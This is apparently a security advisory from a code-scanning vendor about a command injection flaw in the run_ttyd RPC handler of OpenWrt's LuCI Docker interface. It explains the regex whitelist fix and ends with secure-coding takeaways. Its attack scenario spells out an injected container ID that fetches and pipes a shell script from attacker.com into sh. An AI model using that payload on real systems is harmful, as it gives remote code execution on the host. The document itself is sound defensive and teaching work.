The Vulnerability Explained
The Docker RPC handler in OpenWrt's LuCI Docker management interface provides a run_ttyd function that spawns a terminal session inside a container. This function accepts four user-supplied parameters via RPC:
id(container identifier)port(ttyd listening port)uid(optional user ID to run as)cmd(command to execute inside the container)
The original code constructed a shell command using template literal interpolation:
let ttyd_cmd = `ttyd -q -d 2 --once --writable -p ${port} docker`;
Each parameter was directly embedded into the string without any validation or sanitization. An authenticated attacker could inject arbitrary shell metacharacters and command sequences through any parameter.
Attack scenario: An attacker with RPC access sends a malicious request:
id: "container123; curl http://attacker.com/shell.sh | sh #"
port: "8080"
cmd: "/bin/sh"
The resulting command becomes:
ttyd -q -d 2 --once --writable -p 8080 docker container123; curl http://attacker.com/shell.sh | sh #
The shell interprets the injected semicolon as a command separator, executing the attacker's curl payload on the host system with the daemon's privileges. Attackers could exfiltrate data, modify container configurations, or pivot to other systems on the network.
Affected Versions
| Affected | unknown |
| Fixed in | unknown |
| Ecosystem | N/A |
| CVE / GHSA | not assigned |
| CWE | CWE-78 (Improper Neutralization of Special Elements used in an OS Command) |
The Fix
The fix adds strict whitelist-based validation for all four parameters before they are interpolated into shell commands:
// Strictly validate all user-supplied values before they are interpolated
// into a shell command string to prevent command injection.
if (!match(id, /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/) ||
!match(`${port}`, /^[0-9]{1,5}$/) || int(port) < 1 || int(port) > 65535 ||
(uid && !match(`${uid}`, /^[a-zA-Z0-9_-]+$/)) ||
!match(cmd, /^[a-zA-Z0-9_\/.\- ]+$/)) {
return { error: 'Invalid parameter supplied' };
}
Why each validation matters:
-
idpattern (/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/): Restricts container IDs to alphanumerics, underscores, dots, and hyphens. Rejects shell metacharacters like;,|,&, backticks,$(), and quotes. -
portpattern (/^[0-9]{1,5}$/): Ensures the port is numeric with 1–5 digits, preventing injection through the port parameter. The additional range check (int(port) < 1 || int(port) > 65535) confirms the value is a valid TCP port. -
uidpattern (/^[a-zA-Z0-9_-]+$/): If provided, validates the user ID against safe characters. Blocks injection attempts in the optional UID parameter. -
cmdpattern (/^[a-zA-Z0-9_\/.\- ]+$/): Allows the command string to contain alphanumerics, forward slashes (for binary paths like/bin/sh), dots (for file extensions), hyphens (for command-line flags), spaces (for separating arguments), and underscores. All dangerous shell metacharacters are rejected.
If any parameter fails validation, the function returns an error instead of proceeding to shell interpolation. This prevents the malicious payload from ever reaching the shell.
How Orbis AppSec Detected This
Source: The four RPC request parameters (id, port, uid, cmd) received by the run_ttyd function from untrusted authenticated callers.
Sink: The system() call that executes the constructed shell command string.
Missing control: No validation, regex filtering, or sanitization of the four parameters before they were interpolated into the shell command string using template literals.
CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Fix: Added whitelist-based regex validation for all four parameters, rejecting any input containing characters outside a safe set before shell interpolation.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Key Takeaways
-
Never interpolate user-supplied input into shell command strings via template literals or string concatenation. This applies even to authenticated users. Always validate against a strict whitelist of safe characters before shell interpolation.
-
Whitelist validation must come before shell use. The regex patterns here reject all shell metacharacters—
;,|,&, backticks,$(),>,<, and quotes—in a single check. This is far safer than blacklisting dangerous characters. -
RPC handlers are OS command entry points. Any RPC function that constructs and executes system commands should be treated as a high-risk boundary. Treat all RPC parameters as untrusted, regardless of authentication status.
-
Port and numeric parameters need range checks. The fix validates both the format (
/^[0-9]{1,5}$/) and the numeric range (1–65535) for the port parameter. A numeric regex alone is insufficient; ensure the value falls within the expected domain. -
Optional parameters still require validation. The
uidparameter is optional (guarded byuid &&), but when present, it is validated just as strictly. Omitting validation for optional fields is a common gap.
Conclusion
This vulnerability demonstrates how seemingly simple RPC functions that construct shell commands can become high-impact entry points if user input is not rigorously validated. Template literals in Ucode (and similar string interpolation in other languages) make the vulnerability easy to introduce but equally easy to fix with upfront whitelist validation. The key insight from this fix is that all parameters that touch shell commands must be validated against a whitelist of safe characters before use, regardless of their source or the authentication status of the caller. Developers building RPC or request handlers that call system commands should adopt the same pattern: validate early, validate strictly, and reject any input that does not match your whitelist.